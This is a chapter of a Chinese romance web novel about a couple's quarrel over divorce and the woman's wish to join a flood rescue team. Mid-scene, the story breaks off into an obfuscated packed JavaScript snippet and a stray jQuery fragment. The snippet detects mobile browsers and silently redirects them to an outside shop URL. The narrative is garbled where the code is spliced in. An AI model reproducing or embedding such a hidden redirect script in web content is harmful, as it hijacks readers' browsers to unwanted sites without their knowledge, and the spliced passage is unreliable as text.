31. 第 31 章

作品:《声声如叙[先婚后爱]

    这话一说出口,那边瞬间没了声息。


    黎叙闻瞬间就后悔了——事情刚办完,发出来的报道都还热乎着,她就迫不及待说要离婚,简直是大写的过河拆桥。


    可她有什么办法,摄像大哥的话她是真听进去了。


    她知道齐寻受不了这个理由,肯定又会有一场争执。


    于是她挑了个含糊的说法:“绝对不是嫌弃你啊,只是事情已经办完了,我们这个关系,恐怕会给……彼此都带来一些影响。”


    那边笑了一声:“彼此?到底是会影响我,还是会影响你?”


    黎叙闻困惑地问:“影响我什么?”


    “不知道。”


    刚被软心慰语暖热的一池电波,让他一声冷哼结了冰。


    楼梯间越是空旷沉寂,尴尬的沉默就越是膨胀喧嚣,像一颗撑到极致的气球。


    电话两端的每一次幽微的呼吸都是他们轮流给岌岌可危的气球充气,就看最后它在谁手里炸掉。


    黎叙闻闭了闭眼,索性直接将它扎破:“明天,明天你有时间吗?”


    “没有。”


    “……后天呢?”


    “汛期已经到了,黎小姐,”齐寻声音冷硬:“我没有时间,这些事等救援结束再说。”


    他笑了一声:“要是有什么不方便,还请黎小姐高风亮节,为救援事业忍耐一下。”


    黎叙闻敏锐地抓住话里的信息:“救援要开始了?什么时候出发,我怎么没有接到通知?”


    齐寻被她突然调头的方向一噎:“……不知道。”


    “红十字会的证我已经考下来了。”黎叙闻停了停,又补:“第一名!”


    “嗯,表扬,但是不许去。”


    黎叙闻气笑了:“齐寻你等着,我……”


    那边毫不犹豫收了线。


    “咚”的一声如同当头一棒,黎叙闻瞪大眼睛,不可置信地盯着通话结束的界面。


    这人竟然敢挂她电话!


    老马都不敢这样挂她电话!


    “齐寻你给我等着!”黎叙闻在楼梯间跺着脚无能狂怒:“等着!”


    所以第二天,齐寻又在微光的训练基地看到了黎叙闻。


    京屿的阴天总有雾霭沉沉的朦胧,而那个女人站在昏暗的光线里,自带一身耀眼亮色。


    她穿一件黑色紧身短袖,下身套着宽松的工装裤,双手抱在身前,正随意倚靠在训练器械旁,眉目秾丽,唇角噙笑,饶有兴味地看着面前的年轻男人,淡色眼眸与烈色唇瓣相得益彰,令周围黯淡的布景瞬间失色。


    而对面的小熊,壮壮的大小伙子,被她逗得低头扭捏,双手甚至搅在身后,露出一副被罚训都没有露出过的温驯表情。


    用色浓烈,构图精巧,只有一点不好——


    站在画里的应该是他。


    齐寻嘴角紧了紧,大步走过去,停在她身后三四步处。


    原本的画幅蓦地向后延展一寸,高大的身影硬是挤进了她的身边。


    黎叙闻在听见他的脚步声之前,身体先一步收到了靠近时强烈的威压感,本能地一回头,见他面沉似水地立在自己身后,讶异道:“这么快就听到消息了?我还想一会儿去找你……哎!”


    齐寻冷着脸握住她的手腕:“我怎么跟你说的?”


    黎叙闻躲也不躲,仰头对他笑,怪得意的:“你们随时待命呢,都睡在队部,是吗?”


    齐寻目光一凝,视线越过她的肩膀去盯小熊,后者被他盯得打了个哆嗦:“怎、怎么了?这也不能跟嫂子说吗?”


    他正待开口,嘴唇却被一根微凉的手指一指封缄。


    他垂下眼睛,黎叙闻正挑着眼睛,歪头冲他狡黠地笑:“对啊,这也不能跟你老婆说吗?”


    齐寻定定地望着她,动了动嘴,竟真的没有出声。


    ——刚刚她说了什么,他根本一个字都没听见。


    这个世界竟然在她以指尖吻他的那个瞬间,彻底失声了。


    他只是眉眼低垂着,视线锁在她熠熠发亮的眼底,感觉自己的眉心在被她烛火一般的眼睛炙烤,理智也在缓慢地、势不可挡地沸腾。


    他指尖陡然攥紧,另一只手搭上她的肩膀,顺势将她揽进怀里,带着人转身就走,是一个不容他人僭越觊觎的姿势。


    小熊愣了好几秒才想起来叫他:“哎哥!去哪?你不盯训练了?”


    齐寻声音远远的,冷得像冰:“你实在闲就去把厕所刷了!”


    黎叙闻被半拖半抱进了行政楼,脸色自然不会有多好,搞得跟他们擦肩而过的吃瓜群众探头探脑想看热闹,又被她冷若冰霜的脸吓得噤声。


    齐寻开了一间空办公室,手臂往前一送,黎叙闻便被按在了墙上。


    她咬牙,正想等他转身关门时背刺他,不想齐寻脚跟一抬,厚重木门嘭地一声关上,将所有好奇打探的眼神关在门外。


    他把她钉在身体与墙壁之间的狭窄缝隙,低头一瞬不瞬盯着她看。


    黎叙闻后背紧贴墙壁,潮湿冰凉的触感顺着薄薄的T恤一点一点渗透她的皮肤,如同慢慢缠上她脖颈的蛇。


    周遭太安静了,静得齐寻的心跳和呼吸都被无限放大,占满了两人之间可怜的罅隙,蓬勃而强势地,贴着她的皮肤一下下鼓动。


    她忽然觉得闷热难当。


    黎叙闻咽了咽,仰着脖颈上下打量他一趟,轻笑一声,一根手指点上他平直锁骨之间的颈窝,然后慢慢下移,路过峡谷沟壑,最后停在他的胸口。


    她变本加厉地贴近,指尖轻轻用力:“让开。”


    那里与他的目光一样,坚硬似铁,纹丝不动。


    胸膛之间的空间再一次被压缩。


    齐寻沉着唇角看她,不出声也不退开,似乎是打定了主意,要么她开口服软,要么就被他困死在身边。


    空气中水汽充盈,潮闷得令人窒息。


    这一方门后空间攫取了两个人暗潮汹涌的呼吸,困得他们喘不过气。


    但还是没人动。


    黎叙闻收敛笑意,后枕重新贴上墙,在他的钳制下硬是屈起膝盖,顶上他要害,抬头挑眉看他。


    他吞咽一次,喉结明显地一滚:“你到底要干什么?”


    “昨天说过了。”


    “你是说过了。”齐寻稍微退开半寸:“随意、敷衍、出尔反尔。”


    他显然动了气:“黎叙闻,做人没有你这样的。”


    黎叙闻也沉下脸色:“这种话你说出口,就要对每一个字负责。现在我给你五分钟,把每个词给我解释清楚。”


    “否则?你要怎样?”


    “不怎么样,”黎叙闻盯着他冷笑:“我不跟无缘无故出言不逊的人说话。”


    窒息的静默再次卷土重来。


    这一回,她没有等来解释,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864752|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却等来了天光一亮。


    齐寻后撤几步,真的退开了。


    他靠在门板上,语气冷硬:“不要去。”


    天边雷声阵阵,沉闷喑哑地撼动窗棂,双层玻璃像发抖的牙齿,发出簌簌的细微声响。


    这声响恰到好处盖住了齐寻几不可闻的叹息:“救援队去救人,不是你想的那么轻松,真到那个时候,人人都是要赌命的,你知道老纪的……”


    他没继续往下说,转头看她:“即使是医疗队,也没人能保证你绝对安全。”


    黎叙闻被他注视着,一时竟忘了回答。


    大概在他冷硬之下翻涌着无名恐慌的眼神里,她所有的辩论都将被消解意义。


    “你很优秀,很能干,但我也说过,救援要的是经验,”他停了停,又说:“你想离婚,可以。但是你要跟去救援,那对不起,我不能答应。”


    黎叙闻仰头看着他,手在工装裤的口袋里攥紧又松开。


    她看着这个高大的男人垂着眼,语气平静地劝解,有那么一瞬间,她想到了钟郁青。


    妈妈有时候也会露出这样的眼神,明明很担心却强装镇定,已经打定主意让她自己选择,却还是小心翼翼地试探,说闻闻,要不咱们别做这个了吧?


    ——在这种错位的幻觉里,她几乎就要妥协了。


    可是她没有。


    为任何人放弃自己选择的路,因为别人的担忧而剪除自己的羽翼,那都不是她。


    于是她轻轻笑了:“从小到大,我想做的事,再苦再难我都认。我做什么,选什么样的人生,谁都管不了。”


    齐寻看着她笑得凉薄的眼睛:“是谁都管不了,还是我管不了?”


    黎叙闻眉心极轻地一跳


    有一线细细的不对劲,渐渐从她心里升起。


    这一句的背后似乎……别有洞天?


    然而没等她一探究竟,兜里的手机忽然响了。


    黎叙闻拿出来看了一眼,面色有异,直接挂断。


    一副做贼心虚的样子。


    这点小动作落在齐寻眼里,陡然打散了他呼之欲出的坦诚。


    他神情又恢复那种浅淡的不耐烦,双手插兜,看着她手忙脚乱回了条信息。


    那边不依不饶,震动声卷土重来,嗡嗡地撼动两人之间的空气。


    催命一样。


    “接吧,”齐寻向她抬抬下巴,意有所指:“万一他有急事呢?”


    黎叙闻眼神空了一瞬。


    谁?


    电话是黎策打来的,可是齐寻为什么会知道?


    黎叙闻倒不担心对面有急事,这种状况隔几个月就要来一次,黎策记得她的号码,却不知道电话这头是谁,接了也是鸡同鸭讲,弄得她烦躁又低落,索性不接。


    她撇开脸,没讲话。


    齐寻望着她眉心浮起的疙瘩,似是因为他的存在,她特别、特别为难。


    窗外铅灰的云沉沉下压,空气愈加黏腻湿热,让人窒闷得喘不过气来,远处扬起一阵模糊的风声,枝丫摇曳,滋滋啦啦地划在玻璃上。


    他忽然重重吐息一次,转身道:“你接吧,我走了。”


    黎叙闻抬起头,房门一开一关,那人的气息与她错身而过,彻底消失在了房间里。


    一道雪亮闪电滚过天际,她望着外面剧烈摇动的藤蔓枝叶,慢慢地眨了眨眼。


    雨落下来了。